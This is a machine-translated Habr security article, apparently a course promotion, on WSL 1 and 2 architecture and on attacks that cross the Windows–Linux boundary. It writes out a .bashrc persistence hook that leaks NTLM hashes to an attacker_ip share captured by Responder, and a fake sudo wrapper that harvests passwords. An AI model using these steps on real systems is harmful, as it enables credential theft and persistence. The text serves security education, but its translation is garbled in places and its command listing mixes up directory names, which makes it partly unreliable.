WSL deneyleri. Bölüm 1

Merhaba Habr! OTUS Ekim ayında yeni bir kurs akışı başlatıyor "Linux Güvenliği". Kursun başlaması beklentisiyle öğretmenlerimizden Alexander Kolesnikov'un yazdığı bir makaleyi sizlerle paylaşıyoruz.

WSL deneyleri. Bölüm 1

Microsoft, 2016 yılında yeni WSL teknolojisini BT topluluğuna tanıttı (Wiçeri Siçin alt sistem Linux), gelecekte hem sıradan hem de ileri düzey işletim sistemi kullanıcıları arasında popülerlik için mücadele eden daha önce uzlaşmaz rakipleri birleştirmeyi mümkün kıldı: Windows ve Linux. Bu teknoloji, Linux işletim sistemi araçlarının Windows ortamında Linux'u çalıştırmaya gerek kalmadan, örneğin Çoklu önyükleme kullanarak kullanılmasını mümkün kıldı. Habr'da WSL kullanmanın faydalarını anlatan çok sayıda makale bulabilirsiniz. Ancak ne yazık ki, bu makalenin oluşturulduğu sırada, bu kaynakta böyle bir işletim sistemi simbiyozunun güvenliğine ilişkin hiçbir çalışma bulunamadı. Bu yazı bunu düzeltmeye yönelik bir girişim olacaktır. Makalede WSL 1 ve 2 mimarilerinin özelliklerinden bahsedilecek ve bu teknolojileri kullanan sistemlere yapılan çeşitli saldırı örnekleri incelenecektir. Makale 2 bölüme ayrılmıştır. İlki, Linux ve Windows'tan temel teorik saldırı yöntemlerini sağlayacaktır. İkinci makale bir test ortamının kurulmasını ve saldırıların çoğaltılmasını içerecektir.

WSL 1: mimari özellikler

WSL güvenlik sorunlarına en doğru şekilde dalmak için alt sistemin uygulanmasıyla ilgili ana nüansları belirlemek gerekir. WSL tarafından çözülen ana kullanıcı görevlerinden biri, Windows işletim sistemi çalıştıran bir ana bilgisayardaki Linux terminali aracılığıyla çalışabilme yeteneğidir. Ayrıca sunulan uyumluluk o kadar yereldi ki, Linux yürütülebilir dosyaları (ELF'ler) doğrudan bir Windows sisteminde çalıştırılabiliyordu. Bu hedeflere ulaşmak için, Windows 10'da, Linux uygulamalarını bir dizi belirli sistem çağrısını kullanarak çalıştırmanıza izin veren özel bir alt sistem oluşturuldu - bu nedenle, Windows'ta bir dizi Linux sistem çağrısını eşleme girişiminde bulunuldu. Bu, yeni sürücüler ve yeni bir süreç formatı eklenerek fiziksel olarak uygulandı. Görsel olarak mimari şuna benziyordu:

WSL deneyleri. Bölüm 1

Aslında, Linux işletim sistemiyle etkileşim, birkaç çekirdek modülü ve özel bir süreç türü olan pico aracılığıyla organize edildi. Yukarıdaki şemadan, ana bilgisayardaki Linux örneğinde çalışan işlemin yerel olması ve normal Windows uygulamalarıyla aynı kaynakları kullanması gerektiğini görebilirsiniz. Peki buna nasıl ulaşılır? Projede asma köprü Başka bir işletim sistemindeki bir uygulamayı çalıştırmak için işletim sisteminin (sürümüne bağlı olarak) tüm gerekli bileşenlerini sağlayan Windows için süreç kavramları geliştirildi.

Önerilen soyutlamanın, başka bir işletim sistemi sürecinin başlaması beklenen işletim sistemine (özellikle Windows) odaklanmamayı mümkün kıldığını ve genel bir yaklaşım önerdiğini unutmayın.

Bu nedenle, pico işlemindeki herhangi bir uygulama Windows çekirdeğine bakılmaksızın çalışabilir:

  1. Sistem çağrılarının uyumluluk ve çeviri sorunlarının özel sağlayıcılar tarafından çözülmesi gerekir;
  2. Erişim kontrolü Security Monitor üzerinden yapılmalıdır. Monitör çekirdekte bulunuyor ve bu nedenle Windows'un bu tür işlemler için sağlayıcı görevi görebilecek yeni bir sürücü biçiminde bir yükseltmeye ihtiyacı vardı. Prototip pico süreci şematik olarak aşağıda sunulmuştur:

WSL deneyleri. Bölüm 1

Linux dosya sistemi büyük/küçük harfe duyarlı dosya ve dizin adları kullandığından, Windows'a WSL - VolFS ve DriveFS ile çalışacak 2 tür dosya sistemi eklenmiştir. VolFS, Linux dosya sisteminin bir uygulamasıdır, DriveFS, Windows kurallarına göre çalışan ancak büyük/küçük harf duyarlılığını seçme yeteneğine sahip bir dosya sistemidir.

WSL 2

WSL 1'in, maksimum görev aralığını çözmek için kullanılmasına izin vermeyen bir takım sınırlamaları vardı: örneğin, 32 bit Linux uygulamalarını çalıştırma yeteneği yoktu ve aygıt sürücülerini kullanmak imkansızdı. Bu nedenle 2020 yılında alt sistemi oluşturma yaklaşımını değiştiren WSL 2 piyasaya sürüldü. WSL 2, WSL 1'in kaynak tüketimi özelliklerine uyan, optimize edilmiş bir sanal makinedir. Artık Windows işletim sistemi kullanıcısı tarafından çözülen sorunlara bağlı olarak Linux alt sisteminin gerekli sürümünü seçebilirsiniz. Olası güvenlik açıklarını azaltmak için Windows 2'da Hyper-V temel alınarak WSL 10 uygulandı. Bu formda Windows, Linux işletim sistemi çekirdeğini yalıtılmış olarak çalıştırma yeteneğine sahiptir. WSL'nin 1. sürümünün, bu alandaki Windows gelişiminin yönünü göstermesi beklenen bir beta özellik olarak tanıtıldığını hatırlamakta fayda var, dolayısıyla Hyper-V'ye geçiş kaçınılmazdı. Son mimari şuna benzer:

WSL deneyleri. Bölüm 1

Bu versiyonda Windows ve Linux çekirdekleri kendi kaynaklarına sahip olup, kesişim yalnızca dosya sisteminde bulunmaktadır ancak bu kesişim tam değildir. Dosya sistemleri arasındaki etkileşim, 9P protokolünü kullanarak çalışan bir istemci-sunucu sarmalayıcısı aracılığıyla gerçekleştirilir.

Bugün Microsoft, WSL 1 ve WSL 2 arasında geçiş yapma olanağı sunmaktadır. Her iki sürüm de kullanıma açıktır.

WSL Güvenliği

Şu anda, alt sistemler arasındaki iletişime saldırmak için meşru işletim sistemi araçlarının kullanılmasına yönelik bazı yaklaşımları açıklayan çeşitli çalışmalar bulunmaktadır. Bu yazının yazıldığı sırada saldırıların alaka düzeyini kontrol etmek için onların komut dosyalarını kullanacağız. Saldırıların ve senaryoların genel listesi:

1. Dosya sistemi uygulaması: erişim hakları, paylaşılan dizinlerin/veri değişim mekanizmalarının kullanılabilirliği.

Erişim kuralları ihlallerini tespit etmek için araştırma yapıldı Linux FS->Windows FS, Windows FS->Linux FS. Araştırma, belirli bir dosyayı hedef işletim sistemi içinde değiştirme yeteneğini göstermiştir. Dosya sistemlerinin bir kısmının değiştirilmesi, kopyalarının oluşturulması ve silinmesi için de girişimlerde bulunuldu.

senaryo:

  • A. Windows işletim sisteminden saldırı - Linux işletim sisteminin /etc dizinindeki dosyaların değiştirilmesi.
  • B. Linux işletim sisteminden saldırı - dizinlerdeki dosyaların değiştirilmesi: C:Windows, C:Program Files, C:Users<User>

2. Ağ yığınının uygulanması.

Araştırma, Linux işletim sisteminden Windows'a yapılan saldırı örnekleri kullanılarak gerçekleştirildi. Ağ yığınının özellikleri, yani çeşitli kaynaklardaki kimlik doğrulama mekanizmaları kullanıldı.

senaryo:

  • Windows sisteminde kullanılan bir bağlantı noktasına erişimin açılması
  • Uygun haklara sahip olmadan bir bağlantı noktası açmak
  • Windows işletim sisteminde elf dosyasını kullanarak ters kabuğu çalıştırma.

3. WSL alt sistemini kullanarak kötü amaçlı yazılım işlemlerinin başlatılmasını gizleme.

Araştırma basit bir gerçeğe dayanıyordu: Güvenlik alt sistemleri, WSL 1 durumunda işletim sistemindeki meşru bir sağlayıcıyı kullanarak çalışan başka bir çekirdekteki olaylara müdahale edemez. WSL 2 durumunda, meydana gelen olayları görüntülemenin bir yolu yoktur. Hafif sanal makine içinde ayrı bir çekirdekte.

senaryo:

1) Sisteme uzaktan erişim için uygulamayı başlatın ve günlüğe kaydedilen olayları görüntüleyin.

WSL 1 deneyleri: karma müdahalesi (Windows)

Sonunda pratik kısma geldik. Öncelikle test ortamını kurmanız gerekiyor. Tüm deneyler Windows 10 2004 kurulu bir tezgah üzerinde gerçekleştirilecektir.WSL için işletim sistemi görüntüsü olarak Ubuntu 18.04 görüntüsü seçilmiştir. Resim rastgele seçilmiştir ve diğerleri de aynı şekilde çalışacaktır. Stand kurma komutları:

İlk önce başlatmanız gerekir powershell.exe yönetici olarak.

WSL 1 için komutları çalıştırmanız gerekir:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Standı yeniden başlattıktan sonra bash komutunu çağırabilirsiniz. Her şey düzgün çalıştıysa Windows konsolunda buna benzer bir çıktı göreceksiniz:

    WSL deneyleri. Bölüm 1

    Saldırganın makinesi olarak Kali Linux dağıtımını kullanacağız, tüm makinelerin aynı yerel ağda olması gerekiyor.

    Bir Windows makinesinde WSL'ye ayrıcalıksız erişimimiz olduğunu varsayalım. Linux'tan bir komut çağırarak Linux işletim sistemine saldırmayı deneyelim. Saldırıyı uygulamak için basit bir otomatik çalıştırma tekniği kullanacağız - betiğimizi Linux ortamında yürütmek üzere ekleyeceğiz. Bunu yapmak için dosyayı değiştirmeniz gerekir .bashrc.

    WSL'li bir makinede şunu yürütüyoruz:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Kali Linux makinesinde şunu çalıştırıyoruz:

    1. Responder -I eth0 -rdvw

    Bir Windows makinesinde bash'ı başlatalım.

    Kali Linux makinesinde sonucu bekliyoruz:

    WSL deneyleri. Bölüm 1

    Böylece Linux sistemi üzerinde komutu çalıştırarak Windows kullanıcı hashlerini WSL alt sistemi üzerinden elde ettik.

    WSL 1 deneyleri: kullanıcı şifresinin alınması (Linux OS)

    Bir deney daha yapalım. Bu kontrol sırasında dosyaya ekleyeceğiz .bashrc Linux işletim sistemi kullanıcı şifresini almak için birkaç komut.

    Bash'ı başlatalım ve komutları girelim:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Saldırıyı başarıyla tamamlamak için Sam kullanıcısının Linux terminalinde sudo'yu çağırması gerekir. Bundan sonra Linux işletim sistemi kullanıcı şifresi dosyada olacaktır. pass.txt:

    WSL deneyleri. Bölüm 1

    Saldırıların uygulanması yalnızca teorik bilgi amaçlı verilmiştir.

    Makalenin bir sonraki bölümünde 9P protokolünün uygulanması anlatılacak, bu protokol için bir tarayıcı oluşturulması ele alınacak ve ayrıca onu kullanarak bir saldırı gerçekleştirilecek.

    Kullanılan literatür listesi

    WSL deneyleri. Bölüm 1

    Devamını oku

    Kaynak: habr.com

    Yorum ekle